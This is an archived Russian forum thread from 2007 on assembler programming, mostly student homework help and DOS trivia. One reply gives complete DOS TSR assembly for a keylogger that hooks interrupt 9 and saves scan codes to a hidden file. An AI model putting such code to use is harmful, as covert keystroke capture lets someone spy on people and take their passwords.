Ru-Board.club
← Вернуться в раздел «Прикладное программирование»

» Assembler

Автор: Qraizer
Дата сообщения: 16.06.2007 15:20
int 20h и int 21h fn 0h расчитывают, что CS указывает на PSP. Для COM-формата это как правило всегда выполняется. Для EXE - нужно специально городить в начале что-то типа
Код: push ds ; ds и es в начале DOSом ставится в PSP
push 0 ; или xor ax,ax / push ax
Автор: akaGM
Дата сообщения: 16.06.2007 18:07
гы

COM по крайней мере на эти самые 100h байт меньше MZ/NE/PE как дисковый файл...
ау! эпоха 360Кб-ных пятидюймовок...

все уже давным-давно привыкли к flat-модели, дa?
вот и ком был своего рода флатом размером 64k со своими cs=ds=es, -- пустячок, но одной маленькой головной болью, связанной с сегментацией, меньше...

кстати, вся демо-сцена считает очень даже хорошим тоном свои пускачи делать <64,
demo.com размером 65536 без единого нопа естественно -- высший пилотаж...

ага...
вот ещё наша старая дискуссия сохранилась и мой пост на эту тему там:


Цитата:

есть ещё так называемая "сцена" или "demo-scene"...
не игрушки, конечно, но всё-таки...
кто не знает, может посмотреть, вот, например, образцы:

http://www.crys.ras.ru/gx/tmp/fr-08.zip
http://www.crys.ras.ru/gx/tmp/fr-030_candytron_party.zip

условием было влезть в один "сегмент", т.е. 64к...
особый шик -- ровно 65536 байт
некоторые на асме...

а это конкурсный прикол на 65536 байт:
http://www.crys.ras.ru/gx/tmp/in64.eqx-king.rar

архивы маленькие ~64к, качайте смело...
кого заинтересует, инфа/ссылки в зипах...


------------------
для тех, кто не в теме и для кого это "полный ацтой"...

тут дело не в качестве клипа или в его сюжете, вернее, эти показатели здесь вторичны...
это как раз "64k"-конкурс, правда с разрешением использовать пакеры...
причём, не просто 64к-клип, а клип+его проигрыватель=64к, т.е. полный автоном...

------------------
заранее извиняюсь за повтор,
а перед Qraizer персонально, как перед участником той старой темы...

Автор: rain87
Дата сообщения: 16.06.2007 20:02
akaGM
спасибо что натолкнул на тему, она как-то мимо меня прошла
Qraizer
всё чётко и добавить нечего
Автор: bornbill
Дата сообщения: 17.06.2007 16:49
Народ пример может есть у кого пример настройки прав доступа к веткам реестра ессено на сабже ..заранее благодарен..
Автор: 5h5t
Дата сообщения: 18.06.2007 01:29
Люди, помогите пожалуйста. Студент заочник, в ASM'е - ни_в_зуб_ногой.
Задача:
Выводить на экран разрешенные символы. Если вводится сочетание клавиш или упраляющие коды, то выводить текст, например, "F1", "Alt+B", "Ctrl+C", "ESC", "PgUp". На запрещенные символы предусмотреть реакцию (текст или звук и т.п.). Разрешенные символы: Alt+F1 ... Alt+F12.
Подойдет самый примитив, лишь бы работало... Заранее спасибо
Автор: Qraizer
Дата сообщения: 18.06.2007 12:49
Так же как на любом другом языке. RegOpenKeyEx(), Get(Set)SecurityInfo(), AddAce(), итп.
Автор: 5h5t
Дата сообщения: 18.06.2007 17:30
А в коде можно?
Автор: SERGE_BLIZNUK
Дата сообщения: 19.06.2007 10:31
5h5t
это Qraizer не вам ответил, а bornbill, который спрашивал, пример настройки прав доступа к веткам реестра ессено на сабже
Автор: Qraizer
Дата сообщения: 19.06.2007 12:49
5h5t
SERGE_BLIZNUK
Ага. Звиняюсь, не указал обращение в начале поста.
Автор: delover
Дата сообщения: 25.06.2007 09:46
5h5t
Тебе могут помочь с этим исходники TVision от Borland Pascal 7.0
Правда искать его надо на старых дисках. Файл который рулит называется Drivers.pas
Вообще по идее можно на каждую комбинацию забить строку, но это как то не интересно. Существуют пределы в которых можно понять какая комбинация нажата.
Автор: vitalya2903
Дата сообщения: 11.07.2007 14:21
Кто-нибудь может выложить код резидентной программы, которая бы считывала все скан-коды нажатых клавиш и записывала их в файл.
Автор: SERGE_BLIZNUK
Дата сообщения: 11.07.2007 16:46
vitalya2903

Цитата:
код резидентной программы, которая бы считывала все скан-коды нажатых клавиш и записывала их в файл.


вот древнейшая программка, по перехвату прерывания 09 прерывания
[more=исходник]
Код: [no]
перехватывает прерывание и записывает коды клавиш в файл c именем в переменной MY_NAME


.MODEL TINY
.CODE
ORG 100H
start:
jmp init
save: pushf
push ax
push bx
push cx
push dx
push es
push ds

;DS=CS
push cs
pop ds

; открыть file c именем в переменной MY_NAME
mov ax,3D02h
mov dx,offset my_name
int 21h
; при неудаче окончание процедуры
jc end_save
; file handle -> bx
mov bx,ax
; установить на конец файла
mov cx,0
mov dx,0
mov ax,4202h
int 21h
; записать в открытый файл Max_cn байт
mov ah,40h
mov cx,max_cn
mov dx,offset buf
int 21h
; закрыть файл
mov ah,3Eh
int 21h
end_save:
; установить переключатель TG1 в 0
mov tg1,0
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
popf
ret
new_9:
pushf
cmp cs:[tg2],0
; if tg2=0 выполнитьь старое прерывание
je m3
push ax
push bx
in al,60h
; считать значение Count и записать по индексу в BUF
mov bx,cs:[count]
mov byte ptr cs:[buf][bx],al

inc cs:[count]
; сравнить Count c максимальным количеством нажатий/отжатий
cmp bx,cs:[max_cn]
jl m1 ; переход, если меньше

; TG1 = 1 выводить в файл
; TG2 = 0 отключить сохранение
mov cs:[tg2],0
mov cs:[tg1],1
m1: pop bx
pop ax
m3: popf
jmp cs:[old_09]

old_09 dd 0
count dw 0
my_name db "test.kbd",0,0
max_cn dw 100

tg1 dw 0
tg2 dw 1

new_28:
pushf
call dword ptr cs:[old_28]
cmp cs:[tg1],0
je m2
call cs:[save]
mov word ptr cs:[count],0
mov cs:[tg2],1
m2: iret
old_28 dd 0
buf db 1000 dup (0)

init:
push cs
pop ds

; создать HIDDEN file c именем в переменной MY_NAME
mov ah,3Ch
mov cx,02h
mov dx,offset my_name
int 21h
; при неудаче окончание процедуры
jc no_inst
; file handle -> bx
mov bx,ax
; закрыть файл
mov ah,3Eh
int 21h

push es
push bx
cli
mov ax,03509h
int 21h
sti
mov word ptr [old_09],bx
mov word ptr [old_09+2],es
pop bx
pop es
push dx
cli
mov dx,offset new_9
mov ax,02509h
int 21h
sti
pop dx

push es
push bx
cli
mov ax,03528h
int 21h
sti
mov word ptr [old_28],bx
mov word ptr [old_28+2],es
pop bx
pop es
push dx
cli
mov dx,offset new_28
mov ax,02528h
int 21h
sti
pop dx

mov ax,offset init
pushf
mov cl,4
sar ax,cl
inc ax
popf
mov dx,ax
mov ax,03100h
int 21h
no_inst:
mov ax,04c00h
int 21h
end start
[/no]
Автор: Nexandr
Дата сообщения: 11.09.2007 12:24
помогите пожалуста с решением задачи. Язык выбрал асм потому что я хоть в нем чуть чуть понимаю.
Описание:
Программа должна:
1. Прочитать содержимое файла в массив
2. Обработать массив r[i] = r[i] (тут значок выглядящий как кружок с плюсом внутри) 32
3. Записать массив в файл.
Пожалуста листинг с комментариями. Буду вечно благодарен
Автор: rain87
Дата сообщения: 11.09.2007 17:12
Nexandr
обязательно на асме? на любом другом языке в несколько строчек это сделать, на асме - куча гемора
Автор: Nexandr
Дата сообщения: 11.09.2007 18:21
Не обязательно на асме просто мне он понятней. =) Тогда C или Vb Если запрещенно в этой теме писать на других языках тогда в личку Спасибо
Автор: nikkweber
Дата сообщения: 14.09.2007 01:52
Есть такой вопрос.
Мне нужно произвести передачу заданной траектории на порты управления (в моем случае порты управления программно реализованы в виде графического построителя), с линией я освоился, ну вот не знаю как построить окружность или закругление. КТо-нибудь может помочь и подсказать?
Автор: Abs62
Дата сообщения: 14.09.2007 07:23
nikkweber
Окружность описывается формулой (x-x0)2+(y-y0)2=R2, где x0, y0 - координаты её центра, R - радиус. Отсюда и считай координаты точек.
Автор: nikkweber
Дата сообщения: 15.09.2007 01:41
Спасибо Abs62, идею понял, пытаюсь реализовать - пока не очень...
Автор: SERGE_BLIZNUK
Дата сообщения: 15.09.2007 07:36
nikkweber

Цитата:
идею понял, пытаюсь реализовать - пока не очень

ну, 1) есть куча профильных сайтов с форумами, где, я думаю, могут помочь. Например, я бы начал с www.cracklab.ru или wasm.ru
2) да и здесь, если приведёшь КОНКРЕТНУЮ постановку (что у тебя на вход поступает и что хочешь выдать в порты - плюс дашь свою программу и расскажешь, что не получается) - думаю, что совместными усилиями добьём.

удачи.
Автор: nikkweber
Дата сообщения: 16.09.2007 00:07
Спасибо SERGE_BLIZNUK!
Посидев в нете и подумав головой, наконец все вышло.
Кому интересно, вот что получилось:


[more=Пример кода можно посмотреть тоже]    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN1-2:    MVI B,00H    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,10D
    MVI H,60D
L10:    MVI A,50D        
    SUB B
    OUT 01H        ;VIVOD
    MOV A,C        
    ADI 50D
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L11
    INR C        ;Y(i+1)=Y(i+1)+1
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L12
L11:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L12:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L10
    MOV A,C
    CMP H
    JM L10

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN2-3:    MVI B,00H    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,20D
    MVI H,10D
L20:    MOV A,B        
    ADI 40D
    OUT 01H        ;VIVOD
    MVI A,110D
    SUB C
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L21
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L22
L21:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L22:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L20
    MOV A,C
    CMP H
    JM L20

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN3-4:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,10D
    MVI H,50D
L30:    MOV A,B
    ADI 60D    
    OUT 01H        ;VIVOD
    MOV A,C
    ADI 100D
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L31
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L32
L31:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L32:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L30
    MOV A,C
    CMP H
    JM L30

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN4-5:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,50D
    MVI H,50D
L40:    MOV A,B        ;
    ADI 70D
    OUT 01H        ;VIVOD
    MOV A,C        ;
    ADI 150D
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L41
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L42
L41:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L42:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L40
    MOV A,C
    CMP H
    JM L40

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN5-6:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,50D
    MVI H,50D
L50:    MOV A,B        
    ADI 120D
    OUT 01H        ;VIVOD
    MVI A,200D
    SUB C
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L51
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L52
L51:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L52:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L50
    MOV A,C
    CMP H
    JM L50

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN6-7:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,20D
    MVI H,100D
L60:    MOV A,B        
    ADI 170D
    OUT 01H        ;VIVOD
    MVI A,150D
    SBB C
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L61
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L62
L61:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L62:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L60
    MOV A,C
    CMP H
    JM L60

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN7-8:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,40D
    MVI H,10D
L70:    MVI A,190D        
    SBB B
    OUT 01H        ;VIVOD
    MVI A,50D
    SBB C
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L71
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L72
L71:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L72:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L70
    MOV A,C
    CMP H
    JM L70


    ;B--X(i) C--Y(i) D--F(i) E--R    
CIR1:    MVI A,00D
MVI E,30D    ;R=30
MOV B,A        ;X(i)=0
MOV C,E        ;Y(i)=R
MOV D,A        ;F(i)=0
C10: MOV A,B
ADI 120D
OUT 01H
MOV A,C
ADI 40D
OUT 02H
    MOV A,D
ANA A
JP C11
ADD C        ;\
ADD C        ;- F(i+1)=F(i)+2X(i)-1
DCR A        ;/
DCR C        ;X(i+1)=X(i)-1
JMP C12
C11: SUB B        ;\
SUB B        ;- F(i+1)=F(i)-2Y(i)-1
DCR A        ;/
INR B
C12: MOV D,A        ;SOHRANENIE F(i)
MOV A,B
CMP E
JM C10
MVI A,00H
CMP C
JM C10

    ;B--X(i) C--Y(i) D--F(i) E--R    
CIR2:    MVI A,00D
MVI E,30D    ;R=30
MOV B,A        ;X(i)=0
MOV C,E        ;Y(i)=R
MOV D,A        ;F(i)=0
C20: MVI A,120D
    SBB B
OUT 01H
MVI A,40D
ADD C
OUT 02H
    MOV A,D
ANA A
JP C21
ADD C        ;\
ADD C        ;- F(i+1)=F(i)+2X(i)-1
DCR A        ;/
DCR C        ;X(i+1)=X(i)-1
JMP C22
C21: SUB B        ;\
SUB B        ;- F(i+1)=F(i)-2Y(i)-1
DCR A        ;/
INR B
C22: MOV D,A        ;SOHRANENIE F(i)
MOV A,B
CMP E
JM C20
MVI A,00H
CMP C
JM C20

    ;B--X(0) C--Y(i) D--F(i) E--X(k) H--Y(k)
LIN9-1:    MVI B,00D    ;X0=00D
    MOV C,B        ;Y0=00D
    MOV D,B        ;F0=00D
    MVI E,40D
    MVI H,10D
L80:    MVI A,90D        
    SBB B
    OUT 01H        ;VIVOD
    MVI A,40D
    ADD C
    OUT 02H        ;VIVOD
    MOV A,D        ;A<--F(i)
    ANA A        ;ZNAK F(i)
    JP L81
    INR C        ;Y(i+1)=Y(i+1)
    ADD E        ;F(i+1)=F(i)+Xk    
    JMP L82
L81:    INR B        ;X(i+1)=X(i)+1
    SUB H        ;F(i+1)=F(i)-Y(k)
L82:    MOV D,A        ;D<--F(i+1)
    MOV A,B
    CMP E
    JM L80
    MOV A,C
    CMP H
    JM L80
    HLT[/more]

Автор: Tr1aL
Дата сообщения: 16.09.2007 13:28
Ребята, выручайте. Завтра надо лабу сдавать, а я не бум-бум...

Задача такая: Составить программу, сдвигающую содержимое А на переменное число битов, которое определяется содержимым регистра D

Знаю что задача примитивная, но уже полдня копаю и ни в какую..

Добавлено:
Да, решение надо на самом примитивном асемблере, т.е. с использованием комад mvi, lхi, inх, jmz и подобных
Автор: AndreyBes
Дата сообщения: 18.09.2007 01:13
: Программирование основных режимов обмена интерфейса IEEE-488 (канал общего пользования).

Контроллер, управляющий обменом по шине IEEE488, использует три порта ввода-вывода процессора.

- порт 0200h, определяющий режим работы контроллера "говорящий" - "слушающий". Нулевое значение записываемого в порт байта означает режим "говорящий"; ненулевое - режим "слушающий".
- порт 0202h обеспечивает управление линиями синхронизации и управления либо прием сигналов по этим линиям в соответствии с таблицей 1.

Табл.1.
Номер бита    7    6    5    4    3    2    1    0
Линия    УП    СД    ГП    ДП    ЗО    ДУ    ОИ    КП

- порт 0204h обеспечивает установление байта данных на линиях данных.


Задание для выполнения лабораторной работы:

1 Разработать алгоритмы и соответствующие программные процедуры на языке высокого уровня информационного обмена по шине IEEE488:
-    вывода байта данных;
-    ввода байта данных;
-    вывода байта команды.
2. Оформить результаты работы по п.1 в тетради для лабораторных работ.
3. Представить указанные программы в среде соответствующего компилятора для проверки.
Автор: virpool
Дата сообщения: 18.09.2007 21:03
Добрый день. Помогите плз решить довольно примитивную задачу (понимаю что легко, но решить не могу.. странно)
Задача: Вводится текстовая строка и выводится ее последний буквенный символ.
Сказано использовать буферизованый ввод строки. Если можна хотяб намекните как это можна реализовать.
Автор: zzz528
Дата сообщения: 21.09.2007 00:12
virpool

Подсказка
Для дос int 16,1
для win32 ReadFile вместа файла STD_INPUT_HANDLE



Автор: Ape
Дата сообщения: 23.09.2007 21:30
Извините, может я не в той ветке, но всё же...
Никто не знает где можно взять исходники на ассемблере алгоритма AES(Rijndael) автор Helger Lipmaa. Нужны именно эти исходники.
Автор: simba132
Дата сообщения: 23.09.2007 22:35
Завтра лабу сдавать ,а я впервые ассблер тока сейчас увидел

Составьте программу , котрая помещает заданные константы 0204H,3725H,0062H в последовательные яйчейки памяти

ОООЧЕНь пожалуйста спасибо
Автор: rain87
Дата сообщения: 23.09.2007 23:06
simba132
Код: sseg segment stack
db 64 dup(?)
sseg ends
dseg segment
a dw 3 dup(?)
dseg ends
cseg segment
assume cs:cseg,ss:sseg,ds:dseg
main proc far
push ds
xor ax,ax
push ax
mov ax,dseg
mov ds,ax
;-------------
lea si,a
mov word ptr [si],0204h
add si,2
mov word ptr [si],3725h
add si,2
mov word ptr [si],0062h
;-------------
ret
main endp
cseg ends
end main
Автор: simba132
Дата сообщения: 23.09.2007 23:45
БОООльшое спасибо !!!1
Автор: Gavk
Дата сообщения: 24.09.2007 04:23
Ape
http://fp.gladman.plus.com/cryptography_technology/rijndael/aessrc.zip - первая ссылка в google.
Автор: Ape
Дата сообщения: 24.09.2007 23:04
Gavk

Цитата:
http://fp.gladman.plus.com/cryptography_technology/rijndael/aessrc.zip - первая ссылка в google.


Спасибо за ссылку, но автор этих исходников Copyright (c) 2001, Dr Brian Gladman.
А мне надо исходники именно от Helger Lipmaa.

Страницы: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384

Предыдущая тема: .NET GUI компоненты


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.